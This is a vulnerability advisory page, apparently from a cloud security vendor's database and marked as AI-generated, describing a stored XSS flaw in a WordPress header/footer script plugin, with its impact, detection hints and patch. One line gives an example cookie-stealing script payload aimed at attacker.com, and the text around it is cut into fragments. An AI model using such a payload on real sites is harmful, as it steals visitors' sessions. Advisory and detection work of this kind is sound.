
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-12109 is a Stored Cross-Site Scripting (XSS) vulnerability in the Header Footer Script Adder – Insert Code in Header, Body & Footer plugin for WordPress. It affects all versions up to and including 2.0.5, and was published on December 13, 2025. The flaw allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into posts that execute for any user visiting the affected page. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).
The root cause is insufficient input sanitization and output escaping in the plugin's script adder feature used within WordPress posts (CWE-79: Improper Neutralization of Input During Web Page Generation). An authenticated attacker with at least Contributor-level privileges can craft a malicious script payload and insert it via the plugin's script adder interface. Because the input is not properly sanitized before storage or escaped before rendering, the injected script is persisted in the database and executed in the browsers of all subsequent visitors to the affected page. The attack vector is network-based, requires low privileges, and no user interaction beyond visiting the page is needed for the payload to trigger (Wordfence, ENISA EUVD).
Successful exploitation allows injected JavaScript to execute in the context of any user's browser when they visit a compromised page, impacting both confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page defacement, malicious redirects). Because the scope is changed (S:C in CVSS), the impact extends beyond the plugin itself to the broader WordPress site and its visitors. Availability is not directly impacted, but the attack could be leveraged to escalate privileges, spread malware to site visitors, or perform actions on behalf of authenticated users including administrators (Wordfence).
No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2025-12109 as of the available data. The vulnerability requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated flaws. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, ENISA EUVD).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the header, body, or footer script field of a post.<script> tags or encoded JavaScript payloads stored in WordPress post meta fields associated with the Header Footer Script Adder plugin./wp-admin/post.php) from low-privileged contributor accounts inserting script content.wp-content/plugins/header-and-footer-script-adder/ for unauthorized modifications.Update the Header Footer Script Adder plugin to version 2.0.6 or later, which addresses the insufficient input sanitization and output escaping issues. Site administrators should audit existing posts for any suspicious script content injected via the plugin's script adder feature. As a temporary workaround, restrict Contributor-level user registration and review contributor permissions until the patch is applied. The patch is available via the WordPress plugin repository (Wordfence, WordPress Changeset).
The vulnerability was discovered and reported by Wordfence, which included it in their weekly WordPress vulnerability report for December 8–14, 2025. No significant broader media coverage or notable researcher commentary beyond the Wordfence advisory has been identified (Wordfence Blog).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."